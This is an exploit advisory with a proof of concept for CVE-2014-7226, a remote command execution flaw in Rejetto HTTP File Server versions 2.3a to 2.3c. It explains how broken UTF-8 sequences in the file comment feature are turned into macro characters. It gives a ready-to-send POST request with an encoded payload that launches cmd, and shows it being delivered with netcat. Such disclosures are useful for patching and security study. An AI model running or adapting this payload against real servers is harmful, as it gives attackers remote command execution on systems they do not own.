HTTP File Server 2.3a / 2.3b / 2.3c Remote Command Execution

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HTTP File Server 2.3a - 2.3b - 2.3c Remote Command Execution  
  
# Author : Daniele Linguaglossa  
# Date: 30/09/2014  
# Remote: Yes  
# Vendor Homepage: http://rejetto.com/  
# Software Link: http://downloads.sourceforge.net/hfs/hfs2.3c.src.zip  
# CVE: CVE-2014-7226  
# Vendor Hompage: http://www.rejetto.com  
# Tested on: Windows 8  
# Version: 2.3a - 2.3b - 2.3c  
  
The latest HTTP File Server (2.3c and maybe prior too) was found to be  
vulnerable to a remote command execution in the file comment features ,  
because the application did not properly validate uft-8 broken byte  
representation, in fact during parsing program won't notice that there are  
multiple invalid representation and when they are printed into the page  
will get replaced with one of these characters " { . | } " causing a macro  
to be executed.  
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PoC  
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bug-utf8.txt  
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POST /upload/?mode=section&id=ajax.comment HTTP/1.1  
Connection: Close  
Content-Type:application/x-www-form-urlencoded  
  
text=%c1%bb%c0%aeexec%c1%bccmd%c0%ae%c1%bd&files=x  
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Copy the following on a file called bug-utf8.txt , then open hfs and add a  
folder called upload,  
it will ask if anyone should have upload permission click yes then with  
netcat do the following:  
  
nc localhost 8080 < bug-utf8.txt  
  
if everything was fine you should see a new command prompt being executed  
from hfs.  
  
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EOF  
  
`